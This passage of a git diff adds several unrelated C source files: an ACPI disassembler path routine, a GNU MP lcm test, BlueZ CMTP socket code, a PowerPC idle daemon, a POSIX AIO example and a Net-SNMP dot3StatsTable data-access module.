AcpiOsPrintf ("%1c", ACPI_GET8 (Name)); + Name++; + } + + switch (ACPI_GET8 (Name)) + { + case 0: + SegCount = 0; + break; + + case AML_DUAL_NAME_PREFIX: + SegCount = 2; + Name++; + break; + + case AML_MULTI_NAME_PREFIX_OP: + SegCount = (UINT32) ACPI_GET8 (Name + 1); + Name += 2; + break; + + default: + SegCount = 1; + break; + } + + while (SegCount) + { + /* Append Name segment */ + + AcpiDmDumpName ((char *) Name); + + SegCount--; + if (SegCount) + { + /* Not last name, append dot separator */ + + AcpiOsPrintf ("."); + } + Name += ACPI_NAME_SIZE; + } +} + + +/******************************************************************************* + * + * FUNCTION: AcpiDmDisplayPath + * + * PARAMETERS: Op - Named Op whose path is to be constructed + * + * RETURN: None + * + * DESCRIPTION: Walk backwards from current scope and display the name + * of each previous level of scope up to the root scope + * (like "pwd" does with file systems) + * + ******************************************************************************/ + +void +AcpiDmDisplayPath ( + ACPI_PARSE_OBJECT *Op) +{ + ACPI_PARSE_OBJECT *Prev; + ACPI_PARSE_OBJECT *Search; + UINT32 Name; + BOOLEAN DoDot = FALSE; + ACPI_PARSE_OBJECT *NamePath; + const ACPI_OPCODE_INFO *OpInfo; + + + /* We are only interested in named objects */ + + OpInfo = AcpiPsGetOpcodeInfo (Op->Common.AmlOpcode); + if (!(OpInfo->Flags & AML_NSNODE)) + { + return; + } + + if (OpInfo->Flags & AML_CREATE) + { + /* Field creation - check for a fully qualified namepath */ + + if (Op->Common.AmlOpcode == AML_CREATE_FIELD_OP) + { + NamePath = AcpiPsGetArg (Op, 3); + } + else + { + NamePath = AcpiPsGetArg (Op, 2); + } + + if ((NamePath) && + (NamePath->Common.Value.String) && + (NamePath->Common.Value.String[0] == '\\')) + { + AcpiDmNamestring (NamePath->Common.Value.String); + return; + } + } + + Prev = NULL; /* Start with Root Node */ + + while (Prev != Op) + { + /* Search upwards in the tree to find scope with "prev" as its parent */ + + Search = Op; + for (; ;) + { + if (Search->Common.Parent == Prev) + { + break; + } + + /* Go up one level */ + + Search = Search->Common.Parent; + } + + if (Prev) + { + OpInfo = AcpiPsGetOpcodeInfo (Search->Common.AmlOpcode); + if (!(OpInfo->Flags & AML_FIELD)) + { + /* Below root scope, append scope name */ + + if (DoDot) + { + /* Append dot */ + + AcpiOsPrintf ("."); + } + + if (OpInfo->Flags & AML_CREATE) + { + if (Op->Common.AmlOpcode == AML_CREATE_FIELD_OP) + { + NamePath = AcpiPsGetArg (Op, 3); + } + else + { + NamePath = AcpiPsGetArg (Op, 2); + } + + if ((NamePath) && + (NamePath->Common.Value.String)) + { + AcpiDmDumpName (NamePath->Common.Value.String); + } + } + else + { + Name = AcpiPsGetName (Search); + AcpiDmDumpName ((char *) &Name); + } + + DoDot = TRUE; + } + } + Prev = Search; + } +} + +#endif + + diff --git a/pool/shard011/C/0141604_t-lcm.c b/pool/shard011/C/0141604_t-lcm.c new file mode 100644 index 0000000000000000000000000000000000000000..3cc41483ef7d1dc1ff5fa4250b0283e74ab4ab9f --- /dev/null +++ b/pool/shard011/C/0141604_t-lcm.c @@ -0,0 +1,185 @@ +/* Test mpz_lcm and mpz_lcm_ui. + +Copyright 2001 Free Software Foundation, Inc. + +This file is part of the GNU MP Library test suite. + +The GNU MP Library test suite is free software; you can redistribute it +and/or modify it under the terms of the GNU General Public License as +published by the Free Software Foundation; either version 3 of the License, +or (at your option) any later version. + +The GNU MP Library test suite is distributed in the hope that it will be +useful, but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +Public License for more details. + +You should have received a copy of the GNU General Public License along with +the GNU MP Library test suite. If not, see https://www.gnu.org/licenses/. */ + + +#include +#include +#include + +#include "gmp.h" +#include "gmp-impl.h" +#include "tests.h" + + +void +check_all (mpz_ptr want, mpz_srcptr x_orig, mpz_srcptr y_orig) +{ + mpz_t got, x, y; + int negx, negy, swap, inplace; + + mpz_init (got); + mpz_init_set (x, x_orig); + mpz_init_set (y, y_orig); + + for (swap = 0; swap < 2; swap++) + { + mpz_swap (x, y); + + for (negx = 0; negx < 2; negx++) + { + mpz_neg (x, x); + + for (negy = 0; negy < 2; negy++) + { + mpz_neg (y, y); + + for (inplace = 0; inplace <= 1; inplace++) + { + if (inplace) + { mpz_set (got, x); mpz_lcm (got, got, y); } + else + mpz_lcm (got, x, y); + MPZ_CHECK_FORMAT (got); + + if (mpz_cmp (got, want) != 0) + { + printf ("mpz_lcm wrong, inplace=%d\n", inplace); + fail: + mpz_trace ("x", x); + mpz_trace ("y", y); + mpz_trace ("got", got); + mpz_trace ("want", want); + abort (); + } + + if (mpz_fits_ulong_p (y)) + { + unsigned long yu = mpz_get_ui (y); + if (inplace) + { mpz_set (got, x); mpz_lcm_ui (got, got, yu); } + else + mpz_lcm_ui (got, x, yu); + + if (mpz_cmp (got, want) != 0) + { + printf ("mpz_lcm_ui wrong, inplace=%d\n", inplace); + printf ("yu=%lu\n", yu); + goto fail; + } + } + } + } + } + } + + mpz_clear (got); + mpz_clear (x); + mpz_clear (y); +} + + +void +check_primes (void) +{ + static unsigned long prime[] = { + 2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97, + 101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181, + 191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277, + 281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383, + 389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487, + }; + mpz_t want, x, y; + int i; + + mpz_init (want); + mpz_init (x); + mpz_init (y); + + /* Check zeros. */ + mpz_set_ui (want, 0); + mpz_set_ui (x, 1); + check_all (want, want, want); + check_all (want, want, x); + check_all (want, x, want); + + /* New prime each time. */ + mpz_set_ui (want, 1L); + for (i = 0; i < numberof (prime); i++) + { + mpz_set (x, want); + mpz_set_ui (y, prime[i]); + mpz_mul_ui (want, want, prime[i]); + check_all (want, x, y); + } + + /* Old prime each time. */ + mpz_set (x, want); + for (i = 0; i < numberof (prime); i++) + { + mpz_set_ui (y, prime[i]); + check_all (want, x, y); + } + + /* One old, one new each time. */ + mpz_set_ui (want, prime[0]); + for (i = 1; i < numberof (prime); i++) + { + mpz_set (x, want); + mpz_set_ui (y, prime[i] * prime[i-1]); + mpz_mul_ui (want, want, prime[i]); + check_all (want, x, y); + } + + /* Triplets with A,B in x and B,C in y. */ + mpz_set_ui (want, 1L); + mpz_set_ui (x, 1L); + mpz_set_ui (y, 1L); + for (i = 0; i+2 < numberof (prime); i += 3) + { + mpz_mul_ui (want, want, prime[i]); + mpz_mul_ui (want, want, prime[i+1]); + mpz_mul_ui (want, want, prime[i+2]); + + mpz_mul_ui (x, x, prime[i]); + mpz_mul_ui (x, x, prime[i+1]); + + mpz_mul_ui (y, y, prime[i+1]); + mpz_mul_ui (y, y, prime[i+2]); + + check_all (want, x, y); + } + + + mpz_clear (want); + mpz_clear (x); + mpz_clear (y); +} + + + +int +main (int argc, char *argv[]) +{ + tests_start (); + + check_primes (); + + tests_end (); + exit (0); +} diff --git a/pool/shard011/C/0141605_sock.c b/pool/shard011/C/0141605_sock.c new file mode 100644 index 0000000000000000000000000000000000000000..2b6d84e390e13ee06528031ad4f8332a4eafefa2 --- /dev/null +++ b/pool/shard011/C/0141605_sock.c @@ -0,0 +1,256 @@ +/* + CMTP implementation for Linux Bluetooth stack (BlueZ). + Copyright (C) 2002-2003 Marcel Holtmann + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License version 2 as + published by the Free Software Foundation; + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS + OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. + IN NO EVENT SHALL THE COPYRIGHT HOLDER(S) AND AUTHOR(S) BE LIABLE FOR ANY + CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES + WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + + ALL LIABILITY, INCLUDING LIABILITY FOR INFRINGEMENT OF ANY PATENTS, + COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS, RELATING TO USE OF THIS + SOFTWARE IS DISCLAIMED. +*/ + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + + +#include "cmtp.h" + +static int cmtp_sock_release(struct socket *sock) +{ + struct sock *sk = sock->sk; + + BT_DBG("sock %p sk %p", sock, sk); + + if (!sk) + return 0; + + sock_orphan(sk); + sock_put(sk); + + return 0; +} + +static int cmtp_sock_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) +{ + struct cmtp_connadd_req ca; + struct cmtp_conndel_req cd; + struct cmtp_connlist_req cl; + struct cmtp_conninfo ci; + struct socket *nsock; + void __user *argp = (void __user *)arg; + int err; + + BT_DBG("cmd %x arg %lx", cmd, arg); + + switch (cmd) { + case CMTPCONNADD: + if (!capable(CAP_NET_ADMIN)) + return -EACCES; + + if (copy_from_user(&ca, argp, sizeof(ca))) + return -EFAULT; + + nsock = sockfd_lookup(ca.sock, &err); + if (!nsock) + return err; + + if (nsock->sk->sk_state != BT_CONNECTED) { + sockfd_put(nsock); + return -EBADFD; + } + + err = cmtp_add_connection(&ca, nsock); + if (!err) { + if (copy_to_user(argp, &ca, sizeof(ca))) + err = -EFAULT; + } else + sockfd_put(nsock); + + return err; + + case CMTPCONNDEL: + if (!capable(CAP_NET_ADMIN)) + return -EACCES; + + if (copy_from_user(&cd, argp, sizeof(cd))) + return -EFAULT; + + return cmtp_del_connection(&cd); + + case CMTPGETCONNLIST: + if (copy_from_user(&cl, argp, sizeof(cl))) + return -EFAULT; + + if (cl.cnum <= 0) + return -EINVAL; + + err = cmtp_get_connlist(&cl); + if (!err && copy_to_user(argp, &cl, sizeof(cl))) + return -EFAULT; + + return err; + + case CMTPGETCONNINFO: + if (copy_from_user(&ci, argp, sizeof(ci))) + return -EFAULT; + + err = cmtp_get_conninfo(&ci); + if (!err && copy_to_user(argp, &ci, sizeof(ci))) + return -EFAULT; + + return err; + } + + return -EINVAL; +} + +#ifdef CONFIG_COMPAT +static int cmtp_sock_compat_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) +{ + if (cmd == CMTPGETCONNLIST) { + struct cmtp_connlist_req cl; + u32 uci; + int err; + + if (get_user(cl.cnum, (u32 __user *) arg) || + get_user(uci, (u32 __user *) (arg + 4))) + return -EFAULT; + + cl.ci = compat_ptr(uci); + + if (cl.cnum <= 0) + return -EINVAL; + + err = cmtp_get_connlist(&cl); + + if (!err && put_user(cl.cnum, (u32 __user *) arg)) + err = -EFAULT; + + return err; + } + + return cmtp_sock_ioctl(sock, cmd, arg); +} +#endif + +static const struct proto_ops cmtp_sock_ops = { + .family = PF_BLUETOOTH, + .owner = THIS_MODULE, + .release = cmtp_sock_release, + .ioctl = cmtp_sock_ioctl, +#ifdef CONFIG_COMPAT + .compat_ioctl = cmtp_sock_compat_ioctl, +#endif + .bind = sock_no_bind, + .getname = sock_no_getname, + .sendmsg = sock_no_sendmsg, + .recvmsg = sock_no_recvmsg, + .poll = sock_no_poll, + .listen = sock_no_listen, + .shutdown = sock_no_shutdown, + .setsockopt = sock_no_setsockopt, + .getsockopt = sock_no_getsockopt, + .connect = sock_no_connect, + .socketpair = sock_no_socketpair, + .accept = sock_no_accept, + .mmap = sock_no_mmap +}; + +static struct proto cmtp_proto = { + .name = "CMTP", + .owner = THIS_MODULE, + .obj_size = sizeof(struct bt_sock) +}; + +#if defined(CONFIG_COMPAT_BT_SOCK_CREATE_NEEDS_KERN) +static int cmtp_sock_create(struct net *net, struct socket *sock, int protocol, + int kern) +#else +static int cmtp_sock_create(struct net *net, struct socket *sock, int protocol) +#endif +{ + struct sock *sk; + + BT_DBG("sock %p", sock); + + if (sock->type != SOCK_RAW) + return -ESOCKTNOSUPPORT; + + sk = sk_alloc(net, PF_BLUETOOTH, GFP_ATOMIC, &cmtp_proto); + if (!sk) + return -ENOMEM; + + sock_init_data(sock, sk); + + sock->ops = &cmtp_sock_ops; + + sock->state = SS_UNCONNECTED; + + sock_reset_flag(sk, SOCK_ZAPPED); + + sk->sk_protocol = protocol; + sk->sk_state = BT_OPEN; + + return 0; +} + +static const struct net_proto_family cmtp_sock_family_ops = { + .family = PF_BLUETOOTH, + .owner = THIS_MODULE, + .create = cmtp_sock_create +}; + +int cmtp_init_sockets(void) +{ + int err; + + err = proto_register(&cmtp_proto, 0); + if (err < 0) + return err; + + err = bt_sock_register(BTPROTO_CMTP, &cmtp_sock_family_ops); + if (err < 0) + goto error; + + return 0; + +error: + BT_ERR("Can't register CMTP socket"); + proto_unregister(&cmtp_proto); + return err; +} + +void cmtp_cleanup_sockets(void) +{ + if (bt_sock_unregister(BTPROTO_CMTP) < 0) + BT_ERR("Can't unregister CMTP socket"); + + proto_unregister(&cmtp_proto); +} diff --git a/pool/shard011/C/0141606_idle.c b/pool/shard011/C/0141606_idle.c new file mode 100644 index 0000000000000000000000000000000000000000..7d33ef601d6bf4df2615f688115d4bdcaa93cb62 --- /dev/null +++ b/pool/shard011/C/0141606_idle.c @@ -0,0 +1,312 @@ +/* + * Idle daemon for PowerPC. Idle daemon will handle any action + * that needs to be taken when the system becomes idle. + * + * Originally Written by Cort Dougan (cort@cs.nmt.edu) + * + * iSeries supported added by Mike Corrigan + * + * Additional shared processor, SMT, and firmware support + * Copyright (c) 2003 Dave Engebretsen + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +int (*idle_loop)(void); + +#ifdef CONFIG_PPC_ISERIES +static void yield_shared_processor(void) +{ + struct paca_struct *lpaca = get_paca(); + + HvCall_setEnabledInterrupts( HvCall_MaskIPI | + HvCall_MaskLpEvent | + HvCall_MaskLpProd | + HvCall_MaskTimeout ); + + if ( ! ItLpQueue_isLpIntPending( paca->lpQueuePtr ) ) { + /* + * Compute future tb value when yield should expire. + * We want to be woken up when the next decrementer is + * to fire. + */ + + __cli(); + lpaca->yielded = 1; /* Indicate a prod is desired */ + lpaca->xLpPaca.xIdle = 1; /* Inform the HV we are idle */ + + HvCall_yieldProcessor(HvCall_YieldTimed, + lpaca->next_jiffy_update_tb); + + lpaca->yielded = 0; /* Back to IPI's */ + __sti(); + + /* + * The decrementer stops during the yield. Force a fake + * decrementer here and let the timer_interrupt code sort + * out the actual time. + */ + lpaca->xLpPaca.xIntDword.xFields.xDecrInt = 1; + } + + process_iSeries_events(); +} + +int idle_iSeries(void) +{ + struct paca_struct *lpaca; + long oldval; + unsigned long CTRL; + + /* endless loop with no priority at all */ + current->nice = 20; + current->counter = -100; + + /* ensure iSeries run light will be out when idle */ + current->thread.flags &= ~PPC_FLAG_RUN_LIGHT; + CTRL = mfspr(CTRLF); + CTRL &= ~RUNLATCH; + mtspr(CTRLT, CTRL); + init_idle(); + + lpaca = get_paca(); + + for (;;) { + if ( lpaca->xLpPaca.xSharedProc ) { + if ( ItLpQueue_isLpIntPending( lpaca->lpQueuePtr ) ) + process_iSeries_events(); + if ( !current->need_resched ) + yield_shared_processor(); + } else { + /* Avoid an IPI by setting need_resched */ + oldval = xchg(¤t->need_resched, -1); + if (!oldval) { + while(current->need_resched == -1) { + HMT_medium(); + if ( ItLpQueue_isLpIntPending( lpaca->lpQueuePtr ) ) + process_iSeries_events(); + HMT_low(); + } + } + } + HMT_medium(); + if (current->need_resched) { + lpaca->xLpPaca.xIdle = 0; + schedule(); + check_pgt_cache(); + } + } + return 0; +} +#endif + +int idle_default(void) +{ + long oldval; + + current->nice = 20; + current->counter = -100; + init_idle(); + + for (;;) { + /* Avoid an IPI by setting need_resched */ + oldval = xchg(¤t->need_resched, -1); + if (!oldval) { + while(current->need_resched == -1) { + HMT_low(); + } + } + HMT_medium(); + if (current->need_resched) { + schedule(); + check_pgt_cache(); + } + } + return 0; +} + +int idle_dedicated(void) +{ + long oldval; + struct paca_struct *lpaca = get_paca(), *ppaca;; + unsigned long start_snooze; + + ppaca = &paca[(lpaca->xPacaIndex) ^ 1]; + current->nice = 20; + current->counter = -100; + init_idle(); + + for (;;) { + /* Indicate to the HV that we are idle. Now would be + * a good time to find other work to dispatch. */ + lpaca->xLpPaca.xIdle = 1; + + /* Avoid an IPI by setting need_resched */ + oldval = xchg(¤t->need_resched, -1); + if (!oldval) { + start_snooze = __get_tb(); + while(current->need_resched == -1) { + if (__get_tb() < + (start_snooze + + naca->smt_snooze_delay*tb_ticks_per_usec)) { + HMT_low(); /* Low thread priority */ + continue; + } + + HMT_very_low(); /* Low power mode */ + + /* If the SMT mode is system controlled & the + * partner thread is doing work, switch into + * ST mode. + */ + if((naca->smt_state == SMT_DYNAMIC) && + (!(ppaca->xLpPaca.xIdle))) { + /* need_resched could be 1 or -1 at this + * point. If it is -1, set it to 0, so + * an IPI/Prod is sent. If it is 1, keep + * it that way & schedule work. + */ + oldval = xchg(¤t->need_resched, 0); + if(oldval == 1) { + current->need_resched = oldval; + break; + } + + /* DRENG: Go HMT_medium here ? */ + __cli(); + lpaca->yielded = 1; + + /* SMT dynamic mode. Cede will result + * in this thread going dormant, if the + * partner thread is still doing work. + * Thread wakes up if partner goes idle, + * an interrupt is presented, or a prod + * occurs. Returning from the cede + * enables external interrupts. + */ + cede_processor(); + + lpaca->yielded = 0; + } else { + /* Give the HV an opportunity at the + * processor, since we are not doing + * any work. + */ + poll_pending(); + } + } + } + HMT_medium(); + if (current->need_resched) { + lpaca->xLpPaca.xIdle = 0; + schedule(); + check_pgt_cache(); + } + } + return 0; +} + +int idle_shared(void) +{ + struct paca_struct *lpaca = get_paca(); + + /* endless loop with no priority at all */ + current->nice = 20; + current->counter = -100; + + init_idle(); + + for (;;) { + /* Indicate to the HV that we are idle. Now would be + * a good time to find other work to dispatch. */ + lpaca->xLpPaca.xIdle = 1; + + if (!current->need_resched) { + __cli(); + lpaca->yielded = 1; + +/* + * Yield the processor to the hypervisor. We return if + * an external interrupt occurs (which are driven prior + * to returning here) or if a prod occurs from another + * processor. When returning here, external interrupts + * are enabled. + */ + cede_processor(); + + lpaca->yielded = 0; + } + + HMT_medium(); + if (current->need_resched) { + lpaca->xLpPaca.xIdle = 0; + schedule(); + check_pgt_cache(); + } + } + + return 0; +} + +int cpu_idle(void) +{ + idle_loop(); + return 0; +} + +int idle_setup(void) +{ +#ifdef CONFIG_PPC_ISERIES + idle_loop = idle_iSeries; +#else + if (systemcfg->platform & PLATFORM_PSERIES) { + if (cur_cpu_spec->firmware_features & FW_FEATURE_SPLPAR) { + if(get_paca()->xLpPaca.xSharedProc) { + printk("idle = idle_shared\n"); + idle_loop = idle_shared; + } else { + printk("idle = idle_dedicated\n"); + idle_loop = idle_dedicated; + } + } else { + printk("idle = idle_default\n"); + idle_loop = idle_default; + } + } else { + printk("idle_setup: unknown platform, use idle_default\n"); + idle_loop = idle_default; + } +#endif + + return 1; +} + diff --git a/pool/shard011/C/0141607_aio.c b/pool/shard011/C/0141607_aio.c new file mode 100644 index 0000000000000000000000000000000000000000..91f637e6f82a36d6d32125a5e3afe0640454e298 --- /dev/null +++ b/pool/shard011/C/0141607_aio.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include +#include + +int main() +{ + int fd, ret; + struct aiocb my_iocb; + + fd = open( "siox.conf", O_RDONLY ); + if( fd < 0 ) perror( "open" ); + + memset( & my_iocb, 0, sizeof( struct aiocb ) ); + + my_iocb.aio_buf = malloc( 1024 ); + if( !my_iocb.aio_buf ) perror( "malloc" ); + + my_iocb.aio_nbytes = 1000; + my_iocb.aio_fildes = fd; + my_iocb.aio_offset = 0; + + ret = aio_read( & my_iocb ); + + if( ret < 0 ) perror( "aio_read" ); + + while( aio_error( & my_iocb ) == EINPROGRESS ) { + sleep( 1 ); + } + + ( ( char * ) my_iocb.aio_buf )[1000] = 0; + + if( ( ret = aio_return( &my_iocb ) ) > 0 ) { + printf( "Read: %s\n", ( char * ) my_iocb.aio_buf ); + } else { + perror( "read error" ); + } +} diff --git a/pool/shard011/C/0141608_dot3StatsTable_data_access.c b/pool/shard011/C/0141608_dot3StatsTable_data_access.c new file mode 100644 index 0000000000000000000000000000000000000000..a69a299aba9f9b7c59e18fdfeb1a5908c4165271 --- /dev/null +++ b/pool/shard011/C/0141608_dot3StatsTable_data_access.c @@ -0,0 +1,407 @@ +/* + * Note: this file originally auto-generated by mib2c using + * version : 14170 $ of $ + * + * $Id:$ + */ +/* + * standard Net-SNMP includes + */ + +#include +#include +#include + +/* + * include our parent header + */ +#include "dot3StatsTable.h" +#include "dot3StatsTable_data_access.h" + +#if defined(linux) +#include "ioctl_imp_common.h" +#endif + +/** @ingroup interface + * @addtogroup data_access data_access: Routines to access data + * + * These routines are used to locate the data used to satisfy + * requests. + * + * @{ + */ +/********************************************************************** + ********************************************************************** + *** + *** Table dot3StatsTable + *** + ********************************************************************** + **********************************************************************/ +/* + * EtherLike-MIB::dot3StatsTable is subid 2 of dot3. + * Its status is Current. + * OID: .1.3.6.1.2.1.10.7.2, length: 9 + */ + +/** + * initialization for dot3StatsTable data access + * + * This function is called during startup to allow you to + * allocate any resources you need for the data table. + * + * @param dot3StatsTable_reg + * Pointer to dot3StatsTable_registration + * + * @retval MFD_SUCCESS : success. + * @retval MFD_ERROR : unrecoverable error. + */ +int +dot3StatsTable_init_data(dot3StatsTable_registration * dot3StatsTable_reg) +{ + DEBUGMSGTL(("verbose:dot3StatsTable:dot3StatsTable_init_data", + "called\n")); + + /* + * TODO:303:o: Initialize dot3StatsTable data. + */ + + return MFD_SUCCESS; +} /* dot3StatsTable_init_data */ + +/** + * container overview + * + */ + +/** + * container initialization + * + * @param container_ptr_ptr A pointer to a container pointer. If you + * create a custom container, use this parameter to return it + * to the MFD helper. If set to NULL, the MFD helper will + * allocate a container for you. + * @param cache A pointer to a cache structure. You can set the timeout + * and other cache flags using this pointer. + * + * This function is called at startup to allow you to customize certain + * aspects of the access method. For the most part, it is for advanced + * users. The default code should suffice for most cases. If no custom + * container is allocated, the MFD code will create one for your. + * + * This is also the place to set up cache behavior. The default, to + * simply set the cache timeout, will work well with the default + * container. If you are using a custom container, you may want to + * look at the cache helper documentation to see if there are any + * flags you want to set. + * + * @remark + * This would also be a good place to do any initialization needed + * for you data source. For example, opening a connection to another + * process that will supply the data, opening a database, etc. + */ +void +dot3StatsTable_container_init(netsnmp_container ** container_ptr_ptr, + netsnmp_cache * cache) +{ + DEBUGMSGTL(("verbose:dot3StatsTable:dot3StatsTable_container_init", + "called\n")); + + if (NULL == container_ptr_ptr) { + snmp_log(LOG_ERR, + "bad container param to dot3StatsTable_container_init\n"); + return; + } + + /* + * For advanced users, you can use a custom container. If you + * do not create one, one will be created for you. + */ + *container_ptr_ptr = NULL; + + if (NULL == cache) { + snmp_log(LOG_ERR, + "bad cache param to dot3StatsTable_container_init\n"); + return; + } + + /* + * TODO:345:A: Set up dot3StatsTable cache properties. + * + * Also for advanced users, you can set parameters for the + * cache. Do not change the magic pointer, as it is used + * by the MFD helper. To completely disable caching, set + * cache->enabled to 0. + */ + cache->timeout = DOT3STATSTABLE_CACHE_TIMEOUT; /* seconds */ +} /* dot3StatsTable_container_init */ + +/** + * container shutdown + * + * @param container_ptr A pointer to the container. + * + * This function is called at shutdown to allow you to customize certain + * aspects of the access method. For the most part, it is for advanced + * users. The default code should suffice for most cases. + * + * This function is called before dot3StatsTable_container_free(). + * + * @remark + * This would also be a good place to do any cleanup needed + * for you data source. For example, closing a connection to another + * process that supplied the data, closing a database, etc. + */ +void +dot3StatsTable_container_shutdown(netsnmp_container * container_ptr) +{ + DEBUGMSGTL(("verbose:dot3StatsTable:dot3StatsTable_container_shutdown", + "called\n")); + + if (NULL == container_ptr) { + snmp_log(LOG_ERR, + "bad params to dot3StatsTable_container_shutdown\n"); + return; + } + +} /* dot3StatsTable_container_shutdown */ + +/** + * load initial data + * + * TODO:350:M: Implement dot3StatsTable data load + * This function will also be called by the cache helper to load + * the container again (after the container free function has been + * called to free the previous contents). + * + * @param container container to which items should be inserted + * + * @retval MFD_SUCCESS : success. + * @retval MFD_RESOURCE_UNAVAILABLE : Can't access data source + * @retval MFD_ERROR : other error. + * + * This function is called to load the index(es) (and data, optionally) + * for the every row in the data set. + * + * @remark + * While loading the data, the only important thing is the indexes. + * If access to your data is cheap/fast (e.g. you have a pointer to a + * structure in memory), it would make sense to update the data here. + * If, however, the accessing the data invovles more work (e.g. parsing + * some other existing data, or peforming calculations to derive the data), + * then you can limit yourself to setting the indexes and saving any + * information you will need later. Then use the saved information in + * dot3StatsTable_row_prep() for populating data. + * + * @note + * If you need consistency between rows (like you want statistics + * for each row to be from the same time frame), you should set all + * data here. + * + */ + +/* + * + * @retval MFD_SUCCESS success + * @retval MFD_ERROR could not get the interface names + * @retval MFD_RESOURCE_UNAVAILABLE failed to allocate memory + * @retval -2 could not open a socket + */ + + +int +dot3StatsTable_container_load(netsnmp_container * container) +{ + dot3StatsTable_rowreq_ctx *rowreq_ctx; + size_t count = 0; + + DEBUGMSGTL(("verbose:dot3StatsTable:dot3StatsTable_container_load", + "called\n")); + + /* + * TODO:352:M: | |-> set indexes in new dot3StatsTable rowreq context. + * data context will be set from the param (unless NULL, + * in which case a new data context will be allocated) + */ + + /* + * temporary storage for index values + */ + + /* + * dot3StatsIndex(1)/InterfaceIndex/ASN_INTEGER/long(long)//l/A/w/e/R/d/H + */ + + long dot3StatsIndex; + int fd; + int rc = 0, retval = 0; + +#if defined(linux) + struct ifname *list_head = NULL, *p = NULL; +#endif + + /* + * create socket for ioctls + */ + + fd = socket(AF_INET, SOCK_DGRAM, 0); + if(fd < 0) { + snmp_log(LOG_ERR, "could not create socket\n"); + return -2; + } + + /* + * get the interface names of the devices present in the system, in case of failure retval suggests the reson for failure + * and list_head contains null + */ + +#if defined(linux) + list_head = dot3stats_interface_name_list_get (list_head, &retval); + + if (!list_head) { + snmp_log (LOG_ERR, "access:dot3StatsTable, error getting the interface names present in the system\n"); + DEBUGMSGTL(("access:dot3StatsTable", "error getting the interface names present in the system")); + return MFD_ERROR; + } + + /* + * Walk over the list of interface names present in the system and retreive the statistics + */ + + for (p = list_head; p; p = p->ifn_next) { + u_int flags; + + flags = 0; + + DEBUGMSGTL(("access:dot3StatsTable", "processing '%s'\n", p->name)); + + /* + * get index via ioctl. + */ + + dot3StatsIndex = (long) dot3stats_interface_ioctl_ifindex_get(-1, p->name); + + /* + * get the dot3stats contents populated, if the device is not an ethernet device + * the operation will not be supported and an error message will be logged + */ + + rowreq_ctx = dot3StatsTable_allocate_rowreq_ctx(NULL); + if (NULL == rowreq_ctx) { + snmp_log(LOG_ERR, "memory allocation for dot3StatsTable failed\n"); + return MFD_RESOURCE_UNAVAILABLE; + } + + if (MFD_SUCCESS != + dot3StatsTable_indexes_set(rowreq_ctx, dot3StatsIndex)) { + snmp_log(LOG_ERR, + "error setting index while loading " + "dot3StatsTable data.\n"); + dot3StatsTable_release_rowreq_ctx(rowreq_ctx); + continue; + } + + /* + * TODO:352:r: | |-> populate dot3StatsTable data context. + * Populate data context here. (optionally, delay until row prep) + */ + /* + * non-TRANSIENT data: no need to copy. set pointer to data + */ + + memset (&rowreq_ctx->data, 0, sizeof (rowreq_ctx->data)); + rc = interface_ioctl_dot3stats_get (rowreq_ctx, fd, p->name); + + if (rc < 0) { + DEBUGMSGTL(("access:dot3StatsTable", "error getting the statistics for interface |%s| " + "dot3StatsTable data, operation might not be supported\n", p->name)); + dot3StatsTable_release_rowreq_ctx(rowreq_ctx); + continue; + } + + rc = interface_ioctl_dot3stats_duplex_get(rowreq_ctx, fd, p->name); + if (rc < 0) { + DEBUGMSGTL(("access:dot3StatsTable", "error getting the duplex status for |%s| " + "dot3StatsTable data, operation might not be supported\n", p->name)); + dot3StatsTable_release_rowreq_ctx(rowreq_ctx); + continue; + } + + /* + * insert into table container + */ + CONTAINER_INSERT(container, rowreq_ctx); + ++count; + } + + /* + * free the interface names list + */ + + if ( (dot3stats_interface_name_list_free(list_head)) < 0) { + snmp_log(LOG_ERR, "access:dot3StatsTable, error freeing the interface name list \n"); + DEBUGMSGTL(("access:dot3StatsTable", "error freeing the interface name list\n")); + return MFD_ERROR; + } +#endif + + DEBUGMSGT(("verbose:dot3StatsTable:dot3StatsTable_container_load", + "inserted %d records\n", count)); + + return MFD_SUCCESS; +} /* dot3StatsTable_container_load */ + +/** + * container clean up + * + * @param container container with all current items + * + * This optional callback is called prior to all + * item's being removed from the container. If you + * need to do any processing before that, do it here. + * + * @note + * The MFD helper will take care of releasing all the row contexts. + * + */ +void +dot3StatsTable_container_free(netsnmp_container * container) +{ + DEBUGMSGTL(("verbose:dot3StatsTable:dot3StatsTable_container_free", + "called\n")); + + /* + * TODO:380:M: Free dot3StatsTable container data. + */ +} /* dot3StatsTable_container_free */ + +/** + * prepare row for processing. + * + * When the agent has located the row for a request, this function is + * called to prepare the row for processing. If you fully populated + * the data context during the index setup phase, you may not need to + * do anything. + * + * @param rowreq_ctx pointer to a context. + * + * @retval MFD_SUCCESS : success. + * @retval MFD_ERROR : other error. + */ +int 